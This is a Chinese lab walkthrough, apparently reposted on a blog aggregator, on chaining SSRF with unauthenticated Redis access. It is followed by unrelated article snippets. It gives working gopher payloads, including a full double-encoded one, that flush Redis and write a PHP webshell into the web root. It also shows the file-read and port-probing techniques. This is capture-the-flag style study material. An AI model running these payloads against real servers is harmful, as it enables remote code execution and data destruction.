SSRF漏洞与redis未授权访问的共同利用

1.利用靶场Pikachu来认识SSRF漏洞

        1.什么是SSRF

            SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。

简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。

如图,本来靶场是访问他自己指定的资源的这一首诗,当我把后面的请求网址改成百度以后,靶场就访问到了百度

这样看SSRF好像也没有什么大危害,接下来,认识几个curl支持的协议,这些协议可以帮助SSRF更好的完成你想要的入侵

2.curl协议

        1.dict协议(http协议作用一样,可以探测服务端口)

                本来是一种字典协议,用得特别少,但是他可以读取MySQL的部分返回内容,这就有点用处了,当我用这个协议访问开启的端口的时候,会有返回值,但是访问其他端口时没有返回值,这就可以让我知道他的一些特定端口开了没有,有没有这个服务,比如mysql:3306,redis:6379

        2.file协议

                可以读取文件

                这里还能读取到MySQL的账号密码,如果开启了远程连接,可以直接登上去,但是这个MySQL的连接文件路径要猜,不然获取不了

          3.gopher协议

        Gopher 协议是一种早期的互联网协议,主要用于创建和访问层次化的信息目录。某些服务在处理请求时未正确过滤或处理 Gopher 协议,导致它们可以通过 Gopher 协议访问内部服务或敏感数据。

        1.可以用gopherus工具来生成payload

1.选项里面的Reverseshell是我们后面的写任务计划要的反弹shell,在这里我们选PHPshell是要写入进去shell

2.选项是要选择网站的物理路径,这一般是默认的值,要么就要你猜了

3.写入你想要的webshell(<?php phpinfo();?>)

4.生成了一个url编码过后的地址

解码可以看到是这样的

2.redis的写入的命令格式

gopher://127.0.0.1:6379/_*1
$8                              $表示接下来的字符长度是8
flushall                        删除 Redis 数据库中的所有数据,避免干扰
*3                              *3表示接下来是有三个元素的数组
$3                              第一个元素的长度是3
set                             第一个元素
$1                              第二个元素长度是1
1                               第二个元素
$22                             第三个元素的长度是22<?php phpinfo();?>              第三个元素*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

完整的取出来是这样几条命令

  1. flushall:清除 Redis 中所有的键值对,数据库为空。
  2. set 1 <?php phpinfo();?>:key 1 被设置为 <?php phpinfo();?>
  3. config set dir /var/www/html:Redis 数据目录设置为 /var/www/html
  4. config set dbfilename shell.php:Redis 数据文件名设置为 shell.php
  5. save:将当前 Redis 数据库保存到磁盘

3.了解了上面的东西,利用ssrfme靶场结合redis的未授权访问可以干的事

        靶场是web-ssrfme

因为过滤了file和dict所以就无法用上面的方法,但是用http协议进行bp爆破,除了80 端口,就没有其他的端口了

根据这个代码,输入一个info,得到了phpinfo界面

在phpinfo里面找到一个可能是内网的IP,猜测还有其他的服务器,发现172.18.0.2:80,有可能也是一台web服务器,因为他有不同的静态页面GO away1

看能不能利用http协议把这台服务器开放的服务用bp给爆破出来

可以看出这台服务器的6379端口是开着的

        尝试了直接用gopherus工具用默认的路径来攻击,无法写入shell,就算把gopherus生成的payload进行二次url编码也没有用。

        正常的入侵要用字典去爆破除了html的其他目录,这里我就用上帝视角知道html下面还有一个upload目录

        

        1.写入webshell

      gopherus生成的payload

        发现还是要二次编码才可以成功

二次编码

gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252426%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527id%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/52402.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux的tmux命令使用

tmux ("terminal multiplexer"的简称), 是一款优秀的终端复用软件&#xff0c;tmux来自于openbsd&#xff0c;采用bsd授权。使用它最直观的好处就是, 通过一个终端登录远程主机并运行tmux后&#xff0c;在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台…

rk3568 npu opencv 怎么联系起来

问题&#xff1a; 客户一直再问 关于 3568 npu opencv 的编译内容。 大致了解一些 &#xff0c;这方面的内容。 网上的资料。 也许这个基本上就是他的逻辑了&#xff0c; 首先界面使用QT来写。 然后&#xff0c;使用 opencv 去读取摄像头。 然后拿到一帧图像之后&#xff…

IO进程线程8月26ri

1&#xff0c;思维导图 2&#xff0c;用两个进程分别复制文件的上下两部分到另一个文件 #include<myhead.h> int main(int argc, const char *argv[]) {int fpopen("./1.txt",O_RDONLY);if(fp-1){perror("open");return -1;}int countlseek(fp,0,SE…

电脑U口管理软件分享|U口管理软件哪个好?

电脑U口&#xff08;即USB端口&#xff09;管理软件是保护电脑安全、防止数据泄露和恶意软件入侵的重要工具。 在选择U口管理软件时&#xff0c;需要考虑其功能、易用性、安全性以及是否满足个人或企业的具体需求。以下是一些值得推荐的电脑U口管理软件及其特点&#xff1a; 1…

基本数据类型及命令

String String 是Redis最基本的类型&#xff0c;Redis所有的数据结构都是以唯一的key字符串作为名称&#xff0c;然后通过这个唯一的key值获取相应的value数据。不同的类型的数据结构差异就在于value的结构不同。 String类型是二进制安全的。意思是string可以包含任何数据&…

Linux:Linux线程池

目录 线程池的概念 线程池的优点 线程池的应用场景 线程池的实现 线程池演示 线程池的概念 线程池是一种线程使用模式。 线程过多会带来调度开销&#xff0c;进而影响缓存局部和整体性能&#xff0c;而线程池维护着多个线程&#xff0c;等待着监督管理者分配可并发执行的…

每日OJ_牛客_剪花布条(string内置函数)

目录 牛客_剪花布条&#xff08;string内置函数&#xff09; 解析代码 牛客_剪花布条&#xff08;string内置函数&#xff09; 剪花布条__牛客网 解析代码 题意就是在S串中&#xff0c;T串整体出现了多少次。C语言可以通过strstr函数找&#xff0c;用STL的string库可以通过f…

mysql练习5

数据准备 创建两张表:部门(dept)和员工(emp)&#xff0c;并插入数据&#xff0c;代码如下 create table dept( dept id int primary key auto increment comment部门编号, dept_name char(20)comment部门名称 ); insert into d…

排序1

一、概述 直接插入排序 是稳定排序 二、插入排序 1&#xff09;直接插入排序 2&#xff09;折半插入排序 3)希尔排序 、 三、交换排序 1&#xff09;冒泡排序 2&#xff09;快速排序

Redis计数器:数字的秘密

文章目录 Redis计数器incr 指令用户计数统计用户统计信息查询缓存一致性 小结 技术派项目源码地址 : Gitee :技术派 - https://gitee.com/itwanger/paicodingGithub :技术派 - https://github.com/itwanger/paicoding 用户的相关统计信息 文章数&#xff0c;文章总阅读数&am…

绿洲乐队重组?加拉格尔兄弟重组音乐会的猜测越来越多

据报道&#xff0c;这支英国传奇摇滚乐队计划于 2025 年夏天在曼彻斯特和伦敦举办一系列大型演出。 加拉格尔兄弟终于和解了吗&#xff1f;越来越多的猜测认为&#xff0c;利亚姆和诺埃尔已经放下他们之间的传奇分歧&#xff0c;重新组建绿洲乐队&#xff0c;并举办一场必定是几…

6.Linux_服务器搭建

TFTP服务器 1、概述 什么是TFTP服务器&#xff1a; TFTP&#xff08;Trivial File Transfer Protocol&#xff09;即简单文件传输协议是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议&#xff0c;提供不复杂、开销不大的文件传输服务。端口号为69 介…

编程示例:汉字生成盲文的翻译器

1 翻译器的意义 我国有视障人士2000多万人&#xff0c;需要把大量的文章与书籍转换成盲文书。 2 翻译器的开发原理 根据汉语与盲文符号的对照表&#xff0c;以此为基础&#xff0c;进行汉字与盲文之间的转换。 如下的两个图片是汉语与盲文符号的对照表。 3 翻译器的开发示例…

LeetCode Hot100:283、移动零

题目&#xff1a;移动零 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 方案一&#xff1a;双指针 class Solution { public:void moveZ…

Python将Word文档转为PDF

Python办公之——PDF添加水印_python pdf添加水印-CSDN博客 掌握Python技巧&#xff1a;PDF文件的加密和水印处理-CSDN博客

【计算机网络】mini HTTP服务器框架与代码

注注注&#xff1a;本篇博文都是代码实现细节&#xff0c;但不会进行演示&#xff0c;演示看孪生篇 另外&#xff0c;由于tcp套接字部分本质都是套路&#xff0c;所以就不再进行赘述。 目录 1 请求反序列化2 读取url文件内容3 构建响应 1 请求反序列化 我们肯定会先收到请求&…

HandBrakeCLI 压缩工具的简单实用

HandBrakeCLI -i input.mp4 -o output.mp4 --encoder qsv_h264 -b 500k --preset "Android 576p25" --width 320 --height 576 --quiet--encoder qsv_h264 意思代表inter的gpu编码 -b 500k 设置比特率 --preset "Android 576p25" 设置预设 --width 320 --…

devops学习思路

一、关于devops流程 win上建个maven项目&#xff0c;使用win上的nexus私服。 使用git版本管理。 wmware搭建gitlab、jenkins、ldap、artifactory。 做一套简单的流程。 后面可以加代码扫描、单元测试等等功能。 二、maven、nexus私服学习目标 架构课里的课程 API操作&am…

10. 指针数组和数组指针详细区别

指针数组和数组指针在存储位置和占用内存大小方面也有显著的区别&#xff0c;尤其是它们的结构不同导致内存分布上的差异。接下来详细说明它们在这两个方面的区别&#xff1a; 1. 指针数组 (Array of Pointers) 定义回顾&#xff1a; int *array[5];这里 array 是一个指针数…

MySQL索引失效的场景

创建一个名为test_db的数据库&#xff0c;并在其中创建一个名为test_table的表。该表包含多个字段&#xff0c;并在某些字段上创建索引。 CREATE DATABASE IF NOT EXISTS test_db;USE test_db;CREATE TABLE IF NOT EXISTS test_table (id INT PRIMARY KEY AUTO_INCREMENT,name…